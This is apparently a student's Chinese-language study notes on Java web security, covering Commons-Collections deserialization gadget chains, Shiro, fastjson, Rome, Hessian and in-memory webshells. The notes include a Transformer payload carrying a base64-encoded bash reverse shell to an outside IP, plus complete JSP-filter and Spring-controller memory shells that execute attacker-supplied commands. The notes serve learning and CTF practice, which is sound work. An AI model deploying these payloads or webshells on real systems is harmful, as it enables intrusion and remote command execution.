0%

JavaWeb学习笔记

有关java的web知识所知甚少,趁着这个假期赶紧补补。

《Java代码审计》学习笔记

java基础知识

靠慢慢做题补充的。

jdk&jre

玩mc的时候我记得只用装jre就好了。

JDK:Java Development Kit(JAVA开发工具包)

JRE:Java Runtime Environment(JAVA运行时类库)

包含关系:JDK包含JRE包含JVM

困惑了我很久的问题 JDK的版本号解惑_bisal(Chen Liu)的博客-CSDN博客

servlet

全称为Server Applet。

Servlet3.0之前的版本用web.xml配置,而后采用注解配置。

servlet生命周期:用户发起请求->请求解析->servlet实体创建,调用init方法,调用service方法->servlet将结果返回服务器->响应请求->destroy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.tomcatdemo;

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet") #这里就是servlet3+自带的标注。
public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
System.out.println(message);
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");

// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}

public void destroy() {
System.out.println("baibai");
}
}

Tomcat实例类只实例化一次,init和destroy只在整个服务器运行的全过程中调用一次。

Servlet 生命周期

servlet的线程安全

https://www.cnblogs.com/binyue/p/4513577.html

JSP/Servlet容器默认是采用单实例多线程(这是造成线程安全的主因)方式处理多个请求的,这种默认以多线程方式执行的设计可大大降低对系统的资源需求,提高系统的并发量及响应时间。

如何控制Servlet的线程安全性?

避免使用实例变量
避免使用非线程安全的集合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*    */   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
/* 34 */ String reqName = req.getParameter("name");
/* 35 */ if (reqName != null) {
/* 36 */ this.name = reqName;
/* */ }
/* */
/* 39 */ if (Secr3t.check(this.name)) {
/* 40 */ Response(resp, "no vnctf2022!");
/* */
/* */ return;
/* */ }
/* 44 */ if (Secr3t.check(this.name)) {
/* 45 */ Response(resp, "The Key is " + Secr3t.getKey());
/* */ }
/* */ }

在上述代码中,this.name由于是实例变量,故线程不安全,可以通过条件竞争绕过。

filter

过滤器,实现对web资源的管理,貌似和servlet原理差不多。

反射

Java反射简析 - Timzhouyes的博客 | Timzhouyes’s Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws ClassNotFoundException {
Class name = Class.forName("java.lang.Runtime");
System.out.println(name);

Class<?> name2 = Runtime.class;
System.out.println(name2);

/*返回此Object的运行时类。
返回的类对象是由所表示的类的static synchronized方法锁定的对象。*/

Runtime rt = Runtime.getRuntime();
Class<?> name3 = rt.getClass();
System.out.println(name3);

}

java动态代理

代理的意义

代理模式这种设计模式是一种使用代理对象来执行目标对象的方法并在代理对象中增强目标对象方法的一种设计模式。代理对象代为执行目标对象的方法,并在此基础上进行相应的扩展。

学了这么久的java反射机制,你知道class.forName和classloader的区别吗? - 知乎 (zhihu.com)

JAVA安全基础(三)— java动态代理机制 - 先知社区 (aliyun.com)

相信学了cc1应该都能理解动态代理了吧

JDNI

(Java Naming and Directory Interface),可以根据名字动态加载数据,支持的服务有DNS、LDAP、 CORBA对象服务、RMI

RMI

Remote Method Invoke(远程方法调用)

好难,我感觉我学不懂了

流量分析

分为两部分:

第一部分,三次握手后RMI,server会发给client发一个存根Stub。

image-20220522163335184

第二部分:远程方法调用

image-20220522163511832

rmi通过加载远程类,通过序列化返回内容

jndi注入远程调用rmi

首先是三个文件:

JNDI_Client.java

1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDI_Client {
public static void main(String[] args) throws Exception{
String jndiName = "rmi://127.0.0.1:1099/test";
Context context = new InitialContext();
context.lookup(jndiName);
}
}

RMI_Server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Evil","EvilObject","http://127.0.0.1:8000/");
// 利用ReferenceWrapper包装Reference
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("test",referenceWrapper);
}
}

还有一个恶意类,怕被杀软删了,就不写了

跟进一下

序列化与反序列化

和php差不多,只要一个类后面implements Serializable,就可以被序列化。

序列化要求比较苛刻,要求package也要一样。

transient关键字

一旦变量被transient修饰,变量将不再是对象持久化的一部分,该变量内容在序列化后无法获得访问。

一个静态变量不管是否被transient修饰,均不能被序列化。

绕过transient:在类中添加

1
2
private void readObject(ObjectInputStream ois);
private void writeObject(ObjectOutputStream oos);

具体例子:

1
2
3
4
5
6
7
8
9
10
11
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException 	{
s.defaultReadObject();
this.height = (String)s.readObject();
}
private void writeObject(ObjectOutputStream oos){
try {
oos.defaultWriteObject();
oos.writeObject(this.height);
} catch (IOException ex) {
return;
}

往里硬写。

javaweb基础知识

CC链学习

推荐博客:FastJason 1.2.22-1.2.24 TemplatesImpl利用链分析 · 语雀 (yuque.com)这一系列的,虽然代码写的很长(相比于其他payload,但是分析是真的详细,很好

CC1

CommonsCollections 3.1 - 3.2.1,JDK1.7

1
2
3
4
5
6
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject() //AnnotationInvocationHandler有重写readObject,所以能用
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform() //经典的一串transformer

CC2

CommonsCollections 4.0, 无限制

1
2
3
4
5
6
7
8
9
ObjectInputStream.readObject()
PriorityQueue.readObject()//优先队列需要有两个元素,内部变量comparator赋为TransformingComparator
...
TransformingComparator.compare()
InvokerTransformer.transform()//invoke方法
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

不能3.1的原因:该版本下TransformingComparator不能反序列化

CC3

CommonsCollections 3.1 - 3.2.1, JDK1.7

CC3的调用链与CC1的区别在于,CC1是采用4段chainedTransformer,而CC3采用2段chainedTransformer最后触发TemplatesImpl读取字节码,所以可能也没什么用吧

CC4

CommonsCollections 4.0,无限制

CC4利用链:优先队列->TransformingComparator->触发二段chainedTransformer,后面加载字节码,也不知道有啥用

(有人说CC2和CC4的优先队列具体细节不一样,我试了一下好像都能通?)

CC5

CommonsCollections 3.1 - 3.2.1, 无限制,不报错,可能是最稳健的最常用一条链

CC5与CC1的区别就在于LazyMap里get方法的调用,CC1里面用的是两次动态代理,而且AnnotationInvocationHandler只能用于jdk1.7,后面就不能用了,cc5换了一个别的方法去触发LazyMap.get,用的就是TiedMapEntry以及之前的一串。

1
2
3
4
5
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject() //反射修改val,在readObject的时候会对val进行tostring
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()

CC6

CommonsCollections 3.1 - 3.2.1, 无限制,不报错

CC5是通过tostring触发的getValue,CC6是通过hashCode触发的,分别用了HashMap和HashSet。

1
2
3
4
5
6
7
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()

这个调用细节虽然很简单,但是这个poc怎么写为什么这么写,我思考了好长时间

CC7

CommonsCollections 3.1 - 3.2.1, 无限制,不报错

通过equals触发lazymap的get,所产生的用法就是通过hashtable一层层触发的,这个poc的构造也是十分有讲究,具体的细节暂时看了看,没有细跟

1
2
3
4
5
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get

CC11

CommonsCollections 3.1-3.2.1,无限制,报错,但是能任意代码执行

这个应该是cc链里唯一一个在cc3能任意代码执行的链吧

cc11就是cc2+cc6,在cc链里,任意代码执行的就只有cc2,3,4,cc2和4是CommonsCollections 4才能用,因为优先队列的问题,cc3是因为AnnotationInvocationHandler导致只能jdk1.7才行,然后这个,就是把cc6的后半部分接过来,用hashcode来触发lazymap的get,然后接的是InvokerTransformer,然后调用的是newTransfom,就接上字节码了,感觉没啥新东西。

1
2
3
4
5
6
7
8
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.InvokerTransformer.transform()

我觉得类似的还可以把cc5的那个BadAttributeValueExpException或者cc7的hashtable接进来一样可以,这几条链都没收录在yso里,需要自己补充。

cc链就先暂时学到这吧。

java反序列化这个东西我觉得你当时看了记住了过几天绝壁忘,就先简单凝练一点吧,就把自己之前产生的一些问题趁着自己还懂得时候写写,万一以后还能看懂呢

cc2开头的两种写法

exp的开头通过反射的方法设置了InvokerTransformer的methodName为newTransformer,但是我不理解为什么能通过直接new的方法创建,后发现这种是private方法,只能通过反射创建,但是我发现用下面的构造函数也可以,把后两个赋成null依旧能成功触发。

image-20220508165210393

1
2
3
4
5
6
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
/*上下等价*/
InvokerTransformer transformer = new InvokerTransformer("newTransformer",null, null);

好吧我确实在别的博客看到有这么写的,这个版本真的是我看的最长的了。

关于chainedTransformer为什么要分四段,那么麻烦的问题(java反序列化的本质)

我们都知道chainedTransformer是用来把一堆transformer串起来然后顺次transform的,那为什么非得这么这么写:

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformer = new Transformer[]{
// 返回 java.lang.Runtime
new ConstantTransformer(Runtime.class),
// getClass获取到传入到runtime 会变成 java.lang.class 利用 java.lang.class 中的 getMethod 获取getRuntime
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}), // 返回的是getruntime的方法
// 上面返回的应该是getRuntime的这个静态方法 获取反射类中的invoke类执行getRuntime
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// 调用返回实例中的exec
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ5LjIzMy4xMTUuMjI2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"})
};

分别搞各种类,然后反射反射反射,那我为啥不直接用ConstantTransformer拿到一个runtime对象,然后直接invoke触发exec结束呢?

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+Ji9***********************Q==}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

当然我把payload试了一下这么打,报错是很显然的,说runtime这个类不能序列化。

然后我就产生了疑惑,在不考虑序列化的情况下,上下两个打法是完全等价的,那为什么上面就能,下面的就不能序列化呢?于是我开始在writeObject处打了个断点开始动调。

调用栈大概是:writeObject->writeObject0->writeOrdinaryObject->defaultWriteFields->writeObject0->…..

image-20220508225928877

重点放在defaultWriteFields函数上,之前在上一个函数中已经把父对象的序列化给写进去了,这个函数核心部分如下:

1
2
3
4
5
6
7
8
9
10
11
                for(int i = 0; i < objVals.length; ++i) {
/**/
try {
this.writeObject0(objVals[i], fields[numPrimFields + i].isUnshared());
} finally {
if (extendedDebugInfo) {
this.debugInfoStack.pop();
}

}
}

其中objVals在这里赋值,具体能看出这个object的组成,可以看到chainedTransformer是由数组组成的,接下来就要去这些子对象进行writeObject0函数操作,当然再这个函数里会对这个对象是否能序列化进行判断,所以runtime不能序列化,报错。

image-20220508230434893

而在我们通常的payload里,objVals是长这样的:

image-20220508231038223

要将这些东西序列化,要么是变量,要么是类名,没有对象,所以不用考虑能否反序列化的问题了,而这巧妙的构造就正是我们利用java反射来解决无法序列化一些重要对象的办法。

好其实我也不知道自己说没说清楚,反正这时候我是懂的。

PriorityQueue的意义

优先队列,真亲切啊,没想到之前那么好用的数据结构居然会在这里当反序列化入口点来日

cc链的核心是触发transform来进行invoke,在这里运用TransformingComparator在compare的时候会transform的特性,把优先队列的内部变量comparator赋为TransformingComparator,在队列里有至少两个元素后就会触发整个比较,而优先队列是一个可以序列化的类,那就好办了。

TemplatesImpl的意义

思考过整个东西存在的意义,目前的理解是chainedTransformer命令执行(本质上是runtime.exec),然后这个TemplatesImpl的意义是能任意代码执行

TemplatesImpl类有个函数叫做defineclass,可以加载我们的恶意字节码,然后我们就需要想法去调用这个defineclass。看到exp里有很多反射的方法对内部变量赋值比如什么_name,_class,_bytecodes的,最终目的都是为了进到defineclass里,利用链如下:

1
2
3
4
5
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

我刚看的一个cc2版本就是通过优先队列触发transform然后invoke的TemplatesImpl.newTransformer(),然后一口气打下来加载字节码的。

然后对于触发templates的另外一种思路就是用chainedTransformer

1
2
3
4
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

调用链如下:

image-20220531095529925

ConstantTransformer返回一个TrAXFilter这个类,而InstantiateTransformertransform代码的核心部分:

1
2
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);

调用了一个构造函数然后创建了实例,这个实例就是TrAXFilter,在构造函数的时候会用newTransformer()函数从而进入。

TemplatesImpl.getTransletInstance()中既调用了defineTransletClasses,后期还对刚刚define的class进行了实例化。

image-20221101135330610

所以不仅仅能够触发static部分,恶意对象的构造函数也能被触发。

这就是为什么有的内存马的类把关键代码写到了构造函数中。

cc2 TemplatesImpl和优先队列是咋连起来的

优先队列触发compare调用invoketransform, 调用 TemplatesImpl.newTransformer()

关于cc2链打出来虽然能弹计算器但是还是会报错的事情,感觉这个shell就拿了一秒就没了?

​ 这个问题我还没想明白,但我知道报错的问题了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}

AbstractTranslet那一行通过新建用户示例的方法任意代码执行,然后进到下一个postInitialization函数:

image-20220508232649265

可惜这个namesArray没有赋值,抛了零指针的异常。

lazymap的意义

lazymap会通过get寻找键值,如果key不在键值里的话会把自身变量factory进行transform,decorate就是对factory进行赋值的。

TransformedMap的意义

这个东西出现在另外一条不知道叫什么的链上,和lazymap很像,区别在于这个是通过set来触发transform的。

cc1末尾的两次AnnotationInvocationHandler,我愿称之为神

有两次AnnotationInvocationHandler,这个东西继承于java动态代理的InvocationHandler,是和动态代理干一样的事情,只要触发了代理类的一个方法就会invoke去调用被代理类的方法。这个利用链如下:

1
2
3
4
AnnotationInvocationHandler.readObject
Map(proxy).entryset
AnnotationInvocationHandler.invoke
LazyMap.get

第一个readObject是为了触发代理类的entryset方法,而这个proxy代理了LazyMap,中间由另一个AnnotationInvocationHandler来接管,所以会调用另外一个AnnotationInvocationHandler的invoke,那个invoke里会对LazyMap进行get操作,完美。

后来又又一个问题,就是inputStream.readObject为什么会变成AnnotationInvocationHandler.readObject,这里我们看一下这个调用链吧,总之这个AnnotationInvocationHandler自己也重写了一个readObject,所以能调用

image-20220525233235345

AnnotationInvocationHandler只能在jdk1.7中使用

在高版本中,AnnotationInvocationHandlerreadObject被重写了。

不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

cc5BadAttributeValueExpException能在构造函数里复制val,为什么还要通过反射修改?

1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

如果这么改了的话在生成payload过程就就已经触发rce了,在触发过后val值会进行修改,再次通过反序列化触发会失效,所以要通过反射修改val。

cc6的最后部分(折磨死我了)

找了一个能通的最简单的代码,下面开始仔细分析

1
2
3
4
5
Map map=  LazyMap.decorate(new HashMap(),chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,1);
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
map.remove(1);

首先能调用mapget就是胜利,这个链的目的就是触发get,所以选用了TiedMapEntrygetValue

HashSet我们可以理解为集合,HashSetreadObject的时候会遍历所有元素,进行put,我们吧TiedMapEntry进行map.put(e, PRESENT);,其中eTiedMapEntrymap是一个hashset内置的hashmap,这个在put的过程中会对key,也就是我们的TiedMapEntry,进行hash操作,然后就是经典的hashcodegetValue

TiedMapEntry(map,1)代码中的1的意义只在getValue的时候触发,map.get(1),但是我们为什么要map.remove(1)呢?

回归lazymap的get,如果不存在的key,会进行transform,然后把这个transform的值写进这个key对应的value里。

1
2
3
4
5
6
7
8
9
10
    public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}

我们在生成payload过程中,hashSet.add(tiedMapEntry);这步其实已经触发put,一直跟到lazymap的get其实已经在本地进行命令执行了, 执行后,lazymap内置的1对应的值已经是一个java.lang.ProcessImpl,也就是一个进程了,这个进程是无法进行序列化的,所以在生成payload过程中会报错,所以我们需要remove这个键值对,才能正常的进行序列化。

事后分析发现,一个好的序列化脚本在构造的时候是不能触发命令的,这也表明了为什么其他比如ysoserial是采用的是很复杂的方法来构造这个hashset,就是为了防止这个add的触发。

shiro系列

挺烦的,之前搞开发的时候没用过这个框架,所以学起来就感觉很强行

Shiro的基本使用 - 随风行云 - 博客园 (cnblogs.com)

shiro反序列化

正做社联ppt突然给我打电话面试就问我这个。。还没看到呢,直接说不会,然后对面电话给我挂了????

本身就是一个特别简单的东西,shiro就是一个鉴权的框架,就是帮助你在写登录鉴权的时候十分省事的玩意。

在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me 的时候 shiro 会将我们的 cookie 信息序列化并且加密存储在 Cookie 的 rememberMe字段中,这样在下次请求时会读取 Cookie 中的 rememberMe字段并且进行解密然后反序列化

由于 AES 加密是对称式加密(Key 既能加密数据也能解密数据),所以当我们知道了我们的 AES key 之后我们能够伪造任意的 rememberMe 从而触发反序列化漏洞

简单的意思就是:只要能知道aes密钥,就能任意反序列化。

cookie中的rememberMe->base64->AES解密->直接readObject

然后有几个小特性:

  • key正确则不显示deleteMe,反之则显示 deleteMe,这样的检测方法能够高效的进行检测
  • 其实也不光是key不正确deleteMe,其实是只要反序列化过程中报错就会deleteMe,比如CC2在命令执行后也会报错,但是我们在快速检测的时候会误判成deleteMe存在从而忽视,所以检测方式是直接序列化PrincipalCollection这个东西即可快速判断。

很多漏扫器都是基于这种内置默认密钥快速判断漏洞是否存在的,至于后面怎么修的还不知道。

shiro权限绕过

好多cve,但基本都是基于spring和shiro对url处理方式不一样导致的绕过方法。

rome

rome1.0和rome1.7,相比于经典的1.0有关键的类路径变了。

import com.sun.syndication.feed.**

变为了

import com.rometools.rome.feed.**

经典好文:https://blog.csdn.net/Xxy605/article/details/123330443,保证几分钟学懂,说几个要点:

  • rome最后是靠的tostringbean的tostring任意触发getter,所以能搞一些比如jndl注入啊,templateimpl之类的。

  • 怎么触发tostring就是一个很经典的问题

    • rome自带的equalsbean的hashcode能触发tostring
    • rome自带的objectbean又能直接触发tostring,又能通过hashcode触发tostring
    • 以上的俩就通过经典的hashmap来触发hashcode就ok
    • 当然了,可以直接用cc5经典的 BadAttributeValueExpException来直接搞

    当然有的恶心题把上面的东西全给ban了,参见安洵杯ezjaba。

fastjson

阿里写的java库,被反复鞭尸的一个库

fastjson常见绕waf的手法:https://www.sec-in.com/article/950

FastJson 1.2.22-1.2.24 TemplatesImpl利用链

这次就没有那么仔细的动调看一步步怎么跟进了,总之还是几个事:

  • fastjson反序列化入口点有两个:

    parseObject(input,Object.class,Feature.SupportNonPublicField)

    parse(input,Feature.SupportNonPublicField)

    Feature.SupportNonPublicField的参数的意思是可以反序列化private属性的东西

  • 在反序列化过程中,经过一些复杂的过程会把序列化的东西创建成一个javabeaninfo

  • javabeaninfo会经过一系列很复杂的部分自动调用setter与getter

  • 然后我们链还是用那个TemplatesImpl,赋上OutputProperties后就会自动触发getOutputProperties这个函数,然后后面的就不用说了。

fastjson的修法也是个迷,看上去只有两个字”摆烂”

fastjson 1.2.22-1.2.24 JdbcRowSetImpl利用链

hessian

https://paper.seebug.org/1131/

看一些hessian的一些链子的时候看到了有spring内部一些组件的链子,心想为什么正常java的反序列化打不通必须得用hessian,于是进行了搜索,本地搭环境发现是因为Exception in thread "main" java.lang.RuntimeException: Serialized class org.springframework.jndi.support.SimpleJndiBeanFactory must implement java.io.Serializable

然后为什么hessian可以呢,其实发现也是不行的,但是能够进行一些修改使得可以:https://xz.aliyun.com/t/7235#toc-2

1
2
3
>NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
>sf.setAllowNonSerializable(true);
>out.setSerializerFactory(sf);

而这部分代码,对输出流进行了设置,因为我们知道,一般对于对象的序列化,如果对象对应的class没有对java.io.Serializable进行实现implement的话,是没办法序列化的,所以这里对输出流进行了设置,使其可以输出没有实现java.io.Serializable接口的对象

理解的还是比较浅,还需深刻学习。

https://f002.backblazeb2.com/file/sec-news-backup/files/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html 这篇文章说了为什么yso的链子直接接到hessian上不行,因为序列化的底层代码不一样,构造出的对象在序列化和反序列化过程中就有很不同的差距,更有甚者可能会有自己日自己的效果。

java内存马

filters型内存马

filter是类似servelet的过滤器,根据用户定义的过滤器去匹配路由然后对request和response进行相应的处理。filters的内存马就是动态插入一个/*的过滤器在开头,来进行命令执行,这样每次访问的时候都必先走这个过滤器,实现内存马的注入。

怎么写进去这个过滤器就是一个问题

1
2
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();

先人已经分析出来这个过滤器是通过context中获取的了,所以要想写入过滤器就需要想方设法获取上下文,方法有很多,有从request里拿的,有从线程里拿的,还有从mbean里拿的(都没有仔细跟过

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

  • filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

  • filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

然后就直接抄了一个jsp注入内存马的样例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};


FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

springboot的controller内存马

反序列化往里打的,会往里注入一个/asdasd路由,然后在这个路由下传一个header:zpchcbd:cat /flag就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package com.example.springtest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestAttributes;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;

public class SpringBootMemoryController extends AbstractTranslet {

public SpringBootMemoryController() throws Exception{
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = SpringBootMemoryController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

SpringBootMemoryController springBootMemoryShellOfController = new SpringBootMemoryController("aaaaaaa");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
}

public SpringBootMemoryController(String test){

}

public void test() throws Exception{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
String command = request.getHeader("zpchcbd");
if(command != null){
try {
java.io.PrintWriter printWriter = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.write(o);
printWriter.flush();
printWriter.close();
}catch (Exception ignored){

}
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

